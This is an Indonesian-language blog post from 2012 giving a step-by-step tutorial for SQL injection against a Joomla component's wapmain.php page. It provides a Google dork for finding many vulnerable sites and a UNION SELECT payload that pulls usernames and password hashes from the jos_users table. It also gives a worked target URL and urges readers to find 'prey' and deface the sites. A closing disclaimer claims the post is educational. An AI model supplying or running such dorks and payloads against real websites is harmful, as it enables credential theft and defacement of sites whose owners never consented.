Exploit Joomla [POC]

Written By Unknown on 30 Juni 2012 | 11.59

Assalamualaikum sobat dream cyber comunity kali ini sinchankeke mau berbagi tutor cara exploit joomla....
langsung ajah yuk tekape big grin

dork : inurl:wapmain.php?option=

Exploit : 1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--

dork bisa sobat kembangkan lagi untuk menemukan target yang lebih banyak party

silahkan sobat dream cyber masukan dork tersebut di search engine kesukaan sobat lalu pilih target satu per satu dan kita coba exploit nya ...
contoh exploit :

www.web.target.com/wap/wapmain.php?option=onews&action=link&id=182

jadi exploit nya begini :

www.web.target.com/wap/wapmain.php?option=onews&action=link&id=-182+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--

jika keluar nomor user dan nomor togelnya silahkan sobat tusbol dah web nya laughing

sekian dulu tutor exploit joomla versi sinchankeke semoga bisa sobat explorasi lagi dan temukan banyak mangsa....ingat sinchankeke tidak bertanggung jawab atas kejahatan sobat yang mempraktekan tutor ini surprise

tutor ini hanya untuk pembelajaran saja buat admin web master indonesia supaya melakukan patch pada komponen joomla nya biar ga kena tusbol sama defacer usil drooling

.....sampai ketemu lagi di postingan yang lain,,jika ada yang gak di mengerti silahkan tinggalkan komentarnya nanti akan saya balas kalau ada waktu luang kiss